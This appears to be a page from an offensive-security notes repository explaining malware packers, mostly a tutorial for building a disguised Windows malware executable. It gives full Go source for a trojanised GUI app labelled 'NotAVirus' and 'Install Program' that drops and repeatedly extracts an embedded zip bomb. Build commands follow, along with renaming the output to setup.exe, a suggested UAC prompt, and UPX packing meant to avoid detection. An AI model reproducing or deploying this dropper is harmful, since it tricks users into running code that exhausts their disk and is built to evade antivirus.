Skip to content

Latest commit

 

History

History
305 lines (246 loc) · 10.5 KB

malware-packers.md

File metadata and controls

305 lines (246 loc) · 10.5 KB
cover coverY
../.gitbook/assets/pexels-karolina-grabowska-4506249.jpg
-157

Malware Packers

https://upx.github.io/Until now, we've used python as the primary programming language without realizing that... There's a chance the target system won't have python installed on it. Plus, the scripts won't be executable. Yeah sure, you can add the good 'ol shebang at the top:

#!/bin/env python3

But that won't be good enough even if the target has python installed. Can you guess why? Well, the program will still be written in python and the victim can read through it and probably determine that it's malicious. That's where packers are helpful. You can pack an executable with one of those so as to avoid detection. Python scripts themselves can be "converted" to executables using tools like: pyinstaller or py2exe. But those aren't considered packers.

According to an excellent article on cerbersec:

A packer is software used to protect other software, by means of encryption, obfuscation, compression, virtualization, and so on.

There are 3 main categories of packers, each with a different level of unpacking difficulty.

  1. Free packers
    • easy to unpack
    • commonly used
    • examples: UPX, nPack, PolyCryptor, MPRESS, theArk
  2. Malware packers
  3. Commercial packers - difficult to unpack

Also, here's a very good repo that has a lot of content on packing:

{% embed url="https://github.com/packing-box/awesome-executable-packing" %}

I'll take one or two examples from each of the above and showcase the packing process. First in the line is UPX:

Packing Malware With UPX

Let's first get some simple "malware" to pack...

First, we need a payload. Let's take a zip bomb (see zip-bombs.md):

$ # NOTE: Make necessary changes in the zipbomb.go file
$ ./payloadgen.bash 10000 40
$ go-bindata -o payload.go payload_40.zip
$ # Save this for later...

Now, let's write a program that can cover this up. For this example, I've kindly yoinked some code from the walk project over at github...

// Copyright 2017 The Walk Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// This example demonstrates the status bar, including a size gripper
// attached to the bottom of the main window.
// The status bar has two items, one is dynamically updated and one includes an icon.
package main

import (
	"log"

	"github.com/lxn/walk"
	. "github.com/lxn/walk/declarative"
)

func main() {
	icon1, err := walk.NewIconFromFile("../img/check.ico")
	if err != nil {
		log.Fatal(err)
	}
	icon2, err := walk.NewIconFromFile("../img/stop.ico")
	if err != nil {
		log.Fatal(err)
	}

	var sbi *walk.StatusBarItem

	MainWindow{
		Title:   "Walk Statusbar Example",
		MinSize: Size{600, 200},
		Layout:  VBox{MarginsZero: true},
		StatusBarItems: []StatusBarItem{
			StatusBarItem{
				AssignTo: &sbi,
				Icon:     icon1,
				Text:     "click",
				Width:    80,
				OnClicked: func() {
					if sbi.Text() == "click" {
						sbi.SetText("again")
						sbi.SetIcon(icon2)
					} else {
						sbi.SetText("click")
						sbi.SetIcon(icon1)
					}
				},
			},
			StatusBarItem{
				Text:        "left",
				ToolTipText: "no tooltip for me",
			},
			StatusBarItem{
				Text: "\tcenter",
			},
			StatusBarItem{
				Text: "\t\tright",
			},
			StatusBarItem{
				Icon:        icon1,
				ToolTipText: "An icon with a tooltip",
			},
		},
	}.Run()
}

We'll of course need to modify this to make it plant and set off the payload:

package main

import (
        "archive/zip"
        "fmt"
        "io"
        "log"
        "os"
        "path/filepath"
        "strings"
        "sync"

        "github.com/lxn/walk"
        . "github.com/lxn/walk/declarative"
)

func main() {
        iterations := 2
        var wg sync.WaitGroup

        placePayload()
        go progressBar()

        for i := 0; i < iterations; i++ {
                wg.Add(1)
                go unzipFile("payload.zip", fmt.Sprintf("%s_%d", "output", i), &wg)
        }
        wg.Wait()
}

func unzipFile(src, dst string, wg *sync.WaitGroup) {
        defer wg.Done()
        archive, err := zip.OpenReader(src)

        if err != nil {
                panic(err)
        }

        defer archive.Close()

        for _, f := range archive.File {
                filePath := filepath.Join(dst, f.Name)
                fmt.Println("unzipping file ", filePath)

                if !strings.HasPrefix(filePath, filepath.Clean(dst)+string(os.PathSeparator)) {
                        return
                }
                if f.FileInfo().IsDir() {
                        os.MkdirAll(filePath, os.ModePerm)
                        continue
                }

                if err := os.MkdirAll(filepath.Dir(filePath), os.ModePerm); err != nil {
                        panic(err)
                }

                dstFile, err := os.OpenFile(filePath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode())
                if err != nil {
                        panic(err)
                }

                fileInArchive, err := f.Open()
                if err != nil {
                        panic(err)
                }

                if _, err := io.Copy(dstFile, fileInArchive); err != nil {
                        panic(err)
                }

                dstFile.Close()
                fileInArchive.Close()
        }

}

func placePayload() {
        payload_500Zip, err := payload_40ZipBytes()
        if err != nil {
                panic(err)
        }

        payloadFile, err := os.Create("payload.zip")
        if err != nil {
                panic(err)
        }

        defer payloadFile.Close()

        _, err = payloadFile.Write(payload_500Zip)
        if err != nil {
                panic(err)
        }
}

func progressBar() {
        icon1, err := walk.NewIconFromFile("./img/check.ico")
        if err != nil {
                log.Fatal(err)
        }
        icon2, err := walk.NewIconFromFile("./img/stop.ico")
        if err != nil {
                log.Fatal(err)
        }

        var sbi *walk.StatusBarItem

        MainWindow{
                Title:   "NotAVirus v6.9420",
                MinSize: Size{600, 200},
                Layout:  VBox{MarginsZero: true},
                StatusBarItems: []StatusBarItem{
                        StatusBarItem{
                                AssignTo: &sbi,
                                Icon:     icon1,
                                Text:     "Install Program",
                                Width:    80,
                                OnClicked: func() {
                                        if sbi.Text() == "click" {
                                                sbi.SetText("again")
                                                sbi.SetIcon(icon2)
                                        } else {
                                                sbi.SetText("click")
                                                sbi.SetIcon(icon1)
                                        }
                                },
                        },
                        StatusBarItem{
                                Text:        "left",
                                ToolTipText: "no tooltip for me",
                        },
                        StatusBarItem{
                                Text: "\tcenter",
                        },
                        StatusBarItem{
                                Text: "\t\tright",
                        },
                        StatusBarItem{
                                Icon:        icon1,
                                ToolTipText: "An icon with a tooltip",
                        },
                },
        }.Run()
}

NOTE: There's also a manifest file for the example that I took from the walk project, so be sure to get that as well, no need to change it much.

Now, we build the project:

$ go install github.com/akavel/rsrc
$ $GOBIN/rsrc -manifest statusbar.exe.manifest -o rsrc.syso
$ 
$ GOOS=windows go build -ldflags="-H windowsgui" zipbomb.go payload.go
$ mv zipbomb.exe setup.exe

Also, it'll also be a good idea to bake in a nice ol' UAC request. Refer to this post on SO.

Now that we have our payload ready, we can pack this sucker with UPX:

$ upx --best -f -o notavirus.exe setup.exe

I'd love to write sections on other malware and commercial packers, but unfortunately, I'm broke. So if you wanna add a section on those, please feel free to do so by making a PR.

References